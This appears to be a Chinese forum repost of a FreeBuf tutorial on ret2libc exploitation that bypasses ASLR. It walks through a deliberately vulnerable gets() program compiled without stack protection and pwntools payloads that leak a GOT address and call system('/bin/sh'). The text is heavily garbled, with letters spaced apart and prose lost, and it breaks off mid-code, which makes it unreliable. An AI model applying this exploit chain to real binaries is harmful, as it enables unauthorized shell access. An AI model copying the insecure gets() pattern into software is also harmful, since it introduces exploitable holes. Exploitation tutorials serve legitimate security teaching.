[15346] 2020-05-08_ret2libc过地址随机化

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-05-08_ret2libc过地址随机化 r e t 2 l i b c C a i H   F r e e B u f   2 0 2 0 - 0 5 - 0 8 r e t 2 b l i c c s y s t e m s y s t e m ' / b i n / s h ' c s y s t e m ' / b i n / s h ' s y s t e m 1 . c g e t s ( ) 2 2 s y s t e m ' / b i n / s h ' 1 s y s t e m     l i b c   l i b c . s o   使 A S L R 2 l i n u x g c c 使 C E L F g c c   h e l l o . c   - o   h e l l o h e l l o H e l l o   W o r l d 3 P L T @ p l t 4 G O T P L T G O T P L T G O T 5 P L T G O T 1 g e t s 2 s y s t e m / b i n / s h g e t s s y s t e m / b i n / s h 3 p a y l o a d g e t s g e t s g e t s @ p l t 使 P L T o b j d u m p   - d   - M   i n t e l   - j   . p l t   1 . e x e # i n c l u d e   < s t d i o . h > c h a r   b u f 2 [ 2 0 ] = " t h i s   i s   b u f 2 " ; v o i d   v u l ( ) { c h a r   b u f 1 [ 1 0 ] ; g e t s ( b u f 1 ) ; } v o i d   m a i n ( ) { w r i t e ( 1 , " s i n x x " , 5 ) ; v u l ( ) ; } g c c   - m 3 2   - f n o - s t a c k - p r o t e c t o r   - n o - p i e     - o   1 . e x e   1 . c
g e t s p l t j m p G O T 0 x 8 0 4 9 0 3 0 s y s t e m / b i n / s h g e t s 1 . e x e l d d   1 . e x e   g e t s l i b c s y s t e m ' / b i n / s h ' p y t h o n 1 . p y p a y l o a d 1 p a y l o a d 1 = o f f s e t * a + p 3 2 ( a d d r w r i t e ) + p 3 2 ( a d d r v u l ) + p 3 2 ( 1 ) + p 3 2 ( a d d r _ g e t s ) + p 3 2 ( 4 ) c a l l v u l p a y l o a d 2 g e t s w r i t e g o t g e t s ' 1 ' ' 4 ' w r i t e p a y l o a d 2 p a y l o a d 2 = o f f s e t * ' a ' + p 3 2 ( a d d r s y s t e m ) + p 3 2 ( 0 ) + p 3 2 ( a d d r b i n s h )   0 p y t h o n * C a i H F r e e B u f . C O M r v a _ l i b c = g e t s _ r e a l _ a d d r - l i b c . s y m b o l s [ " g e t s " ] a d d r _ s y s t e m = r v a _ l i b c + l i b c . s y m b o l s [ " s y s t e m " ] a d d r _ b i n s h = r v a l _ l i b c + l i b c . s e a r c h ( " / b i n / s h " ) . n e x t ( ) f r o m   p w n   i m p o r t   * c o n t e x t ( a r c h = " i 3 8 6 " , o s = " l i n u x " ) p = p r o c e s s ( " 1 . e x e " ) / / 1 . e x e e = E L F ( " 1 . e x e " ) / / 1 . e x e , E L F a d d r _ w r i t e = e . p l t [ " w r i t e " ] a d d r _ g e t s = e . g o t [ " g e t s " ] / / g e t s g o t a d d r _ v u l = e . s y m b o l s [

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则